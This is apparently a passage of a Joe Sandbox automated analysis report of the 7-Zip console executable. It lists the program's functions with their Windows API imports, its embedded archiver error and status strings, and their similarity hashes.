free.MSVCRT ref: 00C2274F
free.MSVCRT ref: 00C2275A
free.MSVCRT ref: 00C227FF
free.MSVCRT ref: 00C22807
free.MSVCRT ref: 00C22818
free.MSVCRT ref: 00C22826
free.MSVCRT ref: 00C22831
free.MSVCRT ref: 00C22869
free.MSVCRT ref: 00C22871
free.MSVCRT ref: 00C22882
free.MSVCRT ref: 00C22951
free.MSVCRT ref: 00C2295C
free.MSVCRT ref: 00C22A36
free.MSVCRT ref: 00C22A3E
free.MSVCRT ref: 00C22A52
free.MSVCRT ref: 00C22A6C
free.MSVCRT ref: 00C22A77
free.MSVCRT ref: 00C22B8F
free.MSVCRT ref: 00C22B97
free.MSVCRT ref: 00C22BA8
free.MSVCRT ref: 00C22BB6
free.MSVCRT ref: 00C22BC1
free.MSVCRT ref: 00C22C12
free.MSVCRT ref: 00C22C1D
free.MSVCRT ref: 00C22C30
free.MSVCRT ref: 00C22C3B
free.MSVCRT ref: 00C22C4E
free.MSVCRT ref: 00C22C59
free.MSVCRT ref: 00C22C6C
free.MSVCRT ref: 00C22C77
free.MSVCRT ref: 00C22CA7
free.MSVCRT ref: 00C22CAF
free.MSVCRT ref: 00C22CBB
free.MSVCRT ref: 00C22CC9
free.MSVCRT ref: 00C22CD4
free.MSVCRT ref: 00C22D10
free.MSVCRT ref: 00C22D18
free.MSVCRT ref: 00C22D29
free.MSVCRT ref: 00C22D37
free.MSVCRT ref: 00C22D42
free.MSVCRT ref: 00C22E6E
free.MSVCRT ref: 00C22E79
free.MSVCRT ref: 00C22EA6
free.MSVCRT ref: 00C22EB1
free.MSVCRT ref: 00C22F03
free.MSVCRT ref: 00C22F0E
free.MSVCRT ref: 00C22F97
free.MSVCRT ref: 00C22F9F
free.MSVCRT ref: 00C22FAD
free.MSVCRT ref: 00C22FC2
free.MSVCRT ref: 00C22FCD
free.MSVCRT ref: 00C2300C
free.MSVCRT ref: 00C23017
free.MSVCRT ref: 00C23027
free.MSVCRT ref: 00C23032
free.MSVCRT ref: 00C23042
free.MSVCRT ref: 00C2304D
free.MSVCRT ref: 00C2305E
free.MSVCRT ref: 00C231EB
free.MSVCRT ref: 00C231F6
free.MSVCRT ref: 00C2321C
free.MSVCRT ref: 00C23227

Part of subcall function 00C02130: malloc.MSVCRT ref: 00C02134
Part of subcall function 00C02130: _CxxThrowException.MSVCRT ref: 00C0214F

free.MSVCRT ref: 00C2325A
free.MSVCRT ref: 00C23262

Part of subcall function 00C03314: memmove.MSVCRT ref: 00C03339

free.MSVCRT ref: 00C23270
free.MSVCRT ref: 00C2329E
free.MSVCRT ref: 00C232A6
free.MSVCRT ref: 00C232D9
free.MSVCRT ref: 00C232E1
free.MSVCRT ref: 00C232F1
free.MSVCRT ref: 00C233E5
free.MSVCRT ref: 00C23445
free.MSVCRT ref: 00C23455
free.MSVCRT ref: 00C23464
free.MSVCRT ref: 00C23472
free.MSVCRT ref: 00C23490
free.MSVCRT ref: 00C2349E
free.MSVCRT ref: 00C234BC
free.MSVCRT ref: 00C234CA

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmallocmemmove
String ID:
API String ID: 3352498445-0
Opcode ID: a977c30e9b6c0c77fa91ba2bef927ebd8b73980ec7f1edacc1f00c6c713dab27
Instruction ID: af67e96aafcf661139b04edfc32ad067e042ee380c82d8a4b5d54b5461f5b570
Opcode Fuzzy Hash: a977c30e9b6c0c77fa91ba2bef927ebd8b73980ec7f1edacc1f00c6c713dab27
Instruction Fuzzy Hash: 9F826D32608BE0D6CA20EF26F4943AEB360F785B90F505122EB9D57B99DF78C945DB40

Function 00C247AC Relevance: 86.1, APIs: 56, Strings: 1, Instructions: 647
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C03314: memmove.MSVCRT ref: 00C03339

free.MSVCRT ref: 00C248E0
free.MSVCRT ref: 00C248EE
free.MSVCRT ref: 00C249B8
free.MSVCRT ref: 00C249F1
free.MSVCRT ref: 00C249FF
free.MSVCRT ref: 00C24A0D
free.MSVCRT ref: 00C24A18
free.MSVCRT ref: 00C24A47
free.MSVCRT ref: 00C24A4F
free.MSVCRT ref: 00C24A5D
free.MSVCRT ref: 00C25052

Part of subcall function 00C03404: free.MSVCRT ref: 00C03431
Part of subcall function 00C03404: memmove.MSVCRT ref: 00C0344C

free.MSVCRT ref: 00C24C20
free.MSVCRT ref: 00C24C2E
free.MSVCRT ref: 00C24C3C
free.MSVCRT ref: 00C24C47
free.MSVCRT ref: 00C24C79
free.MSVCRT ref: 00C24C81
free.MSVCRT ref: 00C24C90
free.MSVCRT ref: 00C24CB3
free.MSVCRT ref: 00C24CC1
free.MSVCRT ref: 00C24CCF
free.MSVCRT ref: 00C24CDA
free.MSVCRT ref: 00C24D0C
free.MSVCRT ref: 00C24D14
free.MSVCRT ref: 00C24D23
free.MSVCRT ref: 00C24D76
free.MSVCRT ref: 00C24D84
free.MSVCRT ref: 00C24D92
free.MSVCRT ref: 00C24D9D
free.MSVCRT ref: 00C24DCC
free.MSVCRT ref: 00C24DD4
free.MSVCRT ref: 00C24DE3
GetLastError.KERNEL32 ref: 00C24E70
free.MSVCRT ref: 00C24EB2
free.MSVCRT ref: 00C24EC0
free.MSVCRT ref: 00C24ECE
free.MSVCRT ref: 00C24ED9
free.MSVCRT ref: 00C24F08
free.MSVCRT ref: 00C24F10
free.MSVCRT ref: 00C24F1F
free.MSVCRT ref: 00C24FD5
free.MSVCRT ref: 00C24FE3
free.MSVCRT ref: 00C24FF1
free.MSVCRT ref: 00C24FFC
free.MSVCRT ref: 00C2502B
free.MSVCRT ref: 00C25033
free.MSVCRT ref: 00C25042
_CxxThrowException.MSVCRT ref: 00C2510C
free.MSVCRT ref: 00C251B9
free.MSVCRT ref: 00C251C7
free.MSVCRT ref: 00C251D5
free.MSVCRT ref: 00C251E0
free.MSVCRT ref: 00C2520F
free.MSVCRT ref: 00C25217
free.MSVCRT ref: 00C25226
free.MSVCRT ref: 00C25234

Strings

Can not create output directory: , xrefs: 00C24E83

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmove$ErrorExceptionLastThrow
String ID: Can not create output directory:
API String ID: 4159955631-3123869724
Opcode ID: 413c8c4aa713bf56841916301f3c023350d4de2d962ce64e83949b71d0a2ade2
Instruction ID: c94a22b3c2f5e7fc8f7f729ce64040ec57a15dc4b35332ac64535f165b31f2cb
Opcode Fuzzy Hash: 413c8c4aa713bf56841916301f3c023350d4de2d962ce64e83949b71d0a2ade2
Instruction Fuzzy Hash: CF426C32219BE096CA34EF26E8903AEA361F7C6B80F545122DB9D43F59DF38C955DB40

Function 00C25458 Relevance: 74.2, APIs: 47, Strings: 2, Instructions: 702
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 00C2558E
_CxxThrowException.MSVCRT ref: 00C255C2
_CxxThrowException.MSVCRT ref: 00C255E6
memset.MSVCRT ref: 00C2561F
free.MSVCRT ref: 00C256F2
free.MSVCRT ref: 00C25F84

Strings

can't decompress folder, xrefs: 00C255C8
there is no such archive, xrefs: 00C255A4, 00C25EF9

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$ExceptionThrow$memset
String ID: can't decompress folder$there is no such archive
API String ID: 4182836161-2069749860
Opcode ID: ce4216a456ecfb562eed58e09bd1e089566f6c8440c9455ca6f18eb35ebed729
Instruction ID: 67247bee2a8cd6a69d189491c286397365ad5b8dd7ef86b23c981b5bef773e88
Opcode Fuzzy Hash: ce4216a456ecfb562eed58e09bd1e089566f6c8440c9455ca6f18eb35ebed729
Instruction Fuzzy Hash: AC523736209BE0C6CA20EB25E4842AFB764F78AB90F445112DE9E53F69DF38C955DB40

Function 00C2F13E Relevance: 59.4, APIs: 47, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eadb98abd82e25e36940fb318a204b117e1ed3c7f246080696e62d728c723bb
Instruction ID: cd3d59b2ea504f46976fc5145881a5fe7bce934f15fd9cf8e43bebf5df1186e0
Opcode Fuzzy Hash: 5eadb98abd82e25e36940fb318a204b117e1ed3c7f246080696e62d728c723bb
Instruction Fuzzy Hash: 4A42AE37209AD486CB24EF26E0946AF7775F38AB88F551026EB5E43B55CF38C986D700

Function 00C10DCC Relevance: 51.4, APIs: 17, Strings: 12, Instructions: 652COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT ref: 00C10E15
free.MSVCRT ref: 00C10E4E
_CxxThrowException.MSVCRT ref: 00C10E7A
free.MSVCRT ref: 00C10EBD
wcscmp.MSVCRT ref: 00C10F33
_CxxThrowException.MSVCRT ref: 00C10F9B
_CxxThrowException.MSVCRT ref: 00C1112A
_CxxThrowException.MSVCRT ref: 00C113AC
_CxxThrowException.MSVCRT ref: 00C114D3
_CxxThrowException.MSVCRT ref: 00C115E3
_CxxThrowException.MSVCRT ref: 00C11730
_CxxThrowException.MSVCRT ref: 00C11761
_CxxThrowException.MSVCRT ref: 00C117A2
_CxxThrowException.MSVCRT ref: 00C11801
_CxxThrowException.MSVCRT ref: 00C1186B
_CxxThrowException.MSVCRT ref: 00C11171

Part of subcall function 00C063D0: free.MSVCRT ref: 00C06440
Part of subcall function 00C063D0: free.MSVCRT ref: 00C06448

_CxxThrowException.MSVCRT ref: 00C118F2

Strings

stdout mode and email mode cannot be combined, xrefs: 00C11710
Incorrect Number of benmchmark iterations, xrefs: 00C11847
Unsupported command:, xrefs: 00C10E57
-ai switch is not supported for this command, xrefs: 00C115C3
Unsupported -spf:, xrefs: 00C10F7E
Archive name cannot by empty, xrefs: 00C11151
The command must be specified, xrefs: 00C10DF5
Cannot find archive name, xrefs: 00C1110A
I won't write compressed data to a terminal, xrefs: 00C11741
I won't write data and program's messages to same stream, xrefs: 00C114B3, 00C11782
Cannot use absolute pathnames for this command, xrefs: 00C1138C
Only one archive can be created with rename command, xrefs: 00C117E1

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ExceptionThrow$free$wcscmp
String ID: -ai switch is not supported for this command$Archive name cannot by empty$Cannot find archive name$Cannot use absolute pathnames for this command$I won't write compressed data to a terminal$I won't write data and program's messages to same stream$Incorrect Number of benmchmark iterations$Only one archive can be created with rename command$The command must be specified$Unsupported -spf:$Unsupported command:$stdout mode and email mode cannot be combined
API String ID: 1252877886-1892825451
Opcode ID: 2d54ac1d442180f274b4e0e09de258fcbcbabc9e13662fdbd6c082bf20b8ab4a
Instruction ID: 5c7f817555254a58d6b3cced6317325b52a1fcd7e7d6b4b89efe07dd111e15d6
Opcode Fuzzy Hash: 2d54ac1d442180f274b4e0e09de258fcbcbabc9e13662fdbd6c082bf20b8ab4a
Instruction Fuzzy Hash: 2E52F3763046C1A6DB28CF25D0907EEBB61F356744F888016DBA943B22DB79D6F8E700

Function 00C11D04 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00C11D12
CloseHandle.KERNEL32 ref: 00C11D25
OpenProcessToken.ADVAPI32 ref: 00C11D48
LookupPrivilegeValueW.ADVAPI32 ref: 00C11D70
AdjustTokenPrivileges.KERNELBASE ref: 00C11D93
CloseHandle.KERNEL32 ref: 00C11DA7
GetLastError.KERNEL32 ref: 00C11DB1
CloseHandle.KERNELBASE ref: 00C11DC6

Strings

SeSecurityPrivilege, xrefs: 00C11D57

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: CloseHandle$ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
String ID: SeSecurityPrivilege
API String ID: 1313864721-2333288578
Opcode ID: 2923db911ffe3ad089c3a4e31a474f10bd7caa2875252cb64e8c2824bd01d802
Instruction ID: c6688a6e196e0696def940c70cbe7894a0ab36efafd474df7e16c879ca63a3fd
Opcode Fuzzy Hash: 2923db911ffe3ad089c3a4e31a474f10bd7caa2875252cb64e8c2824bd01d802
Instruction Fuzzy Hash: 00116376204F44C2EA01DB12F9647ADB3B6FBC5B85F980516EA8B42E54CF3CD58ACB10

Function 00C0AC74 Relevance: 9.0, APIs: 6, Instructions: 45COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00C0AC84
OpenProcessToken.ADVAPI32 ref: 00C0AC95
LookupPrivilegeValueW.ADVAPI32 ref: 00C0ACA9
AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?,?,FFFFFFFF,?,00C0F928), ref: 00C0ACE0
GetLastError.KERNEL32(?,?,?,?,?,?,?,FFFFFFFF,?,00C0F928), ref: 00C0ACEA
CloseHandle.KERNELBASE ref: 00C0ACFA

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3398352648-0
Opcode ID: 46a4ba1a1edc4c5f8ee714ce144b7b130588888e6f26d8e9239554c7fff26e4b
Instruction ID: 19278e5ea74ace525732ee3c2460be2dc3a7dab465caa08299fead1af33751bf
Opcode Fuzzy Hash: 46a4ba1a1edc4c5f8ee714ce144b7b130588888e6f26d8e9239554c7fff26e4b
Instruction Fuzzy Hash: 8101527361468187EB108F65F894B9E7361F784B85F545239EB8A83A54CF3CC98ACB00

Function 00C07978 Relevance: 4.6, APIs: 3, Instructions: 70fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00C0794C: FindClose.KERNELBASE ref: 00C0795E

FindFirstFileW.KERNELBASE ref: 00C079BA

Part of subcall function 00C0339C: free.MSVCRT ref: 00C033D7
Part of subcall function 00C0339C: memmove.MSVCRT(00000000,?,?,00000000,00C010A8), ref: 00C033F2

FindFirstFileW.KERNELBASE ref: 00C079FA
free.MSVCRT ref: 00C07A08

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: Find$FileFirstfree$Closememmove
String ID:
API String ID: 2921071498-0
Opcode ID: 4e67d28d15530b19911ab8aa71c5e2449fd5b6dc038138c971fc29035e38fd3d
Instruction ID: 7ec7f2f7d8f86b49b39226d098bb6e949282a08cc99e8e17692183a171dba0bc
Opcode Fuzzy Hash: 4e67d28d15530b19911ab8aa71c5e2449fd5b6dc038138c971fc29035e38fd3d
Instruction Fuzzy Hash: 61215E37608B8086DB21DF24E45035D63A4F78ABB8F549321EAB9477D9DF38CA0AD740

Function 00C14418 Relevance: 219.6, APIs: 132, Strings: 13, Instructions: 2096COMMON

Download Yara Rule

Strings

Can not seek to begin of file, xrefs: 00C1642F
Can not create file with auto name, xrefs: 00C15796, 00C15867
Can not create symbolic link, xrefs: 00C15FAB
Can not create hard link, xrefs: 00C15E04, 00C161B7
Can not set length for output file, xrefs: 00C163C0
Dangerous link path was ignored, xrefs: 00C15CC1
Internal error for symbolic link file, xrefs: 00C15EFB
\??\, xrefs: 00C1485F
Can not delete output folder, xrefs: 00C15A0E
Incorrect path, xrefs: 00C15D6E
Can not open output file, xrefs: 00C162D7
Can not delete output file, xrefs: 00C15AD5
Can not rename existing file, xrefs: 00C1592F

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID:
String ID: Can not create file with auto name$Can not create hard link$Can not create symbolic link$Can not delete output file$Can not delete output folder$Can not open output file$Can not rename existing file$Can not seek to begin of file$Can not set length for output file$Dangerous link path was ignored$Incorrect path$Internal error for symbolic link file$\??\
API String ID: 0-2438533581
Opcode ID: 619308cd5c84a58143f6d60b4711cd903356f34d35ac1546f55c71045c053aa2
Instruction ID: 19b9f5da4d9a4828a9ee3be3d40c195722c85ffb0d1431afd40e512eb27729b0
Opcode Fuzzy Hash: 619308cd5c84a58143f6d60b4711cd903356f34d35ac1546f55c71045c053aa2
Instruction Fuzzy Hash: A0038132248A80C2CA34EB25E4946EEB761F7C6BC0F545112EBAE47B65DF78C9C5E740

Function 00C4950D Relevance: 116.2, APIs: 48, Strings: 18, Instructions: 748
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 00C497B9
free.MSVCRT ref: 00C497C1
free.MSVCRT ref: 00C497D3
free.MSVCRT ref: 00C497E0
free.MSVCRT ref: 00C497EE
free.MSVCRT ref: 00C49809
free.MSVCRT ref: 00C4996E
free.MSVCRT ref: 00C49976
free.MSVCRT ref: 00C49988
free.MSVCRT ref: 00C49995
free.MSVCRT ref: 00C499A3
free.MSVCRT ref: 00C499C0
free.MSVCRT ref: 00C499CD
fputs.MSVCRT ref: 00C49A02
fputs.MSVCRT ref: 00C49A12
_CxxThrowException.MSVCRT ref: 00C49A3A

Part of subcall function 00C02300: fputc.MSVCRT ref: 00C02311

_CxxThrowException.MSVCRT ref: 00C4A5E1
free.MSVCRT ref: 00C4A5EF
free.MSVCRT ref: 00C4A61C
free.MSVCRT ref: 00C4A62E
free.MSVCRT ref: 00C4A696
free.MSVCRT ref: 00C4A69E
free.MSVCRT ref: 00C4A6B0

Part of subcall function 00C03518: free.MSVCRT ref: 00C03551

Strings

Archives: , xrefs: 00C49FE1
Warnings: , xrefs: 00C4A0F0
Sub items Errors: , xrefs: 00C4A2FB
ERROR: , xrefs: 00C499FB
Can't open as archive: , xrefs: 00C4A03F
Files: , xrefs: 00C4A1F6
Incorrect command line, xrefs: 00C49A0B
Size: , xrefs: 00C4A278
Alternate Streams Size: , xrefs: 00C4A250
Open Errors: , xrefs: 00C4A138
Archives with Errors: , xrefs: 00C4A07A
ERROR:, xrefs: 00C49F89
Archives with Warnings: , xrefs: 00C4A0AF
OK archives: , xrefs: 00C4A008
Folders: , xrefs: 00C4A1A8
Compressed: , xrefs: 00C4A2A3
Alternate Streams: , xrefs: 00C4A228
7zCon.sfx, xrefs: 00C49543

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$ExceptionThrowfputs$fputc
String ID: 7zCon.sfx$Alternate Streams Size: $Alternate Streams: $Archives with Errors: $Archives with Warnings: $Archives: $Can't open as archive: $Compressed: $ERROR:$ERROR: $Files: $Folders: $Incorrect command line$OK archives: $Open Errors: $Size: $Sub items Errors: $Warnings:
API String ID: 1639683984-435538426
Opcode ID: 7950e3a32e57e73d2bfd92e9c5a502a4147ea379d5541c9ff121fc8beeca7486
Instruction ID: 33490b502bb2ff765e4efaff1ec5bc5c3d2b68fdeb46383182fa86abe75ef4a7
Opcode Fuzzy Hash: 7950e3a32e57e73d2bfd92e9c5a502a4147ea379d5541c9ff121fc8beeca7486
Instruction Fuzzy Hash: 3E729B32309AC095DA34EF25E8947EEB3A0F785B80F444226DA9E43B69DF3CC655DB41

Function 00C49B5D Relevance: 84.5, APIs: 33, Strings: 15, Instructions: 507
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fputs.MSVCRT ref: 00C49B6B

Part of subcall function 00C02300: fputc.MSVCRT ref: 00C02311

free.MSVCRT ref: 00C49C12

Strings

Archives: , xrefs: 00C49FE1
Warnings: , xrefs: 00C4A0F0
Scanning the drive for archives:, xrefs: 00C49B64
Can't open as archive: , xrefs: 00C4A03F
Files: , xrefs: 00C4A1F6
Size: , xrefs: 00C4A278
Alternate Streams Size: , xrefs: 00C4A250
Open Errors: , xrefs: 00C4A138
Archives with Errors: , xrefs: 00C4A07A
ERROR:, xrefs: 00C49F89
Archives with Warnings: , xrefs: 00C4A0AF
OK archives: , xrefs: 00C4A008
Folders: , xrefs: 00C4A1A8
Compressed: , xrefs: 00C4A2A3
Alternate Streams: , xrefs: 00C4A228

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputcfputsfree
String ID: Alternate Streams Size: $Alternate Streams: $Archives with Errors: $Archives with Warnings: $Archives: $Can't open as archive: $Compressed: $ERROR:$Files: $Folders: $OK archives: $Open Errors: $Scanning the drive for archives:$Size: $Warnings:
API String ID: 2822829076-727241755
Opcode ID: f1fc2bb77beb799795f3a1ecff0606d93ece482d6ec72dcd429a4e045bdcdf84
Instruction ID: d37b76a2a23ed437c252fe23b1db9d25ca578bf0f3821992af5d3427c4131139
Opcode Fuzzy Hash: f1fc2bb77beb799795f3a1ecff0606d93ece482d6ec72dcd429a4e045bdcdf84
Instruction Fuzzy Hash: 6B228E32349AC191DA34EF21E8947EEB3A0F785B80F445126DBAE43B69DF38C655DB01

Function 00C2A180 Relevance: 47.6, APIs: 23, Strings: 4, Instructions: 342
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32 ref: 00C2A1BF
GetProcAddress.KERNEL32 ref: 00C2A1D2
GetProcAddress.KERNEL32 ref: 00C2A1F5
GetProcAddress.KERNEL32 ref: 00C2A21E

Strings

GetHandlerProperty2, xrefs: 00C2A1B5
GetHandlerProperty, xrefs: 00C2A214
GetNumberOfFormats, xrefs: 00C2A1EB
GetIsArc, xrefs: 00C2A1C8

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: AddressProc
String ID: GetHandlerProperty$GetHandlerProperty2$GetIsArc$GetNumberOfFormats
API String ID: 190572456-3984264347
Opcode ID: 73fef0eb24d6ff44d8697e840df78f3fac1608cd30a242a31fa2bdb042e46f71
Instruction ID: 03a46f0e8013dd78a4fb2b0892a9a9195c1729ef86aac7524972be209c73fcf4
Opcode Fuzzy Hash: 73fef0eb24d6ff44d8697e840df78f3fac1608cd30a242a31fa2bdb042e46f71
Instruction Fuzzy Hash: F4D15032219BD086CA20EB21F85479EA3A4F7C5B80F401522EA8E97F69DF7CC945DB45

Function 00C070C8 Relevance: 40.7, APIs: 27, Instructions: 237
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C07D4C: GetFileAttributesW.KERNELBASE ref: 00C07D6E
Part of subcall function 00C07D4C: GetFileAttributesW.KERNEL32 ref: 00C07DA5
Part of subcall function 00C07D4C: free.MSVCRT ref: 00C07DB2

free.MSVCRT ref: 00C073F6

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
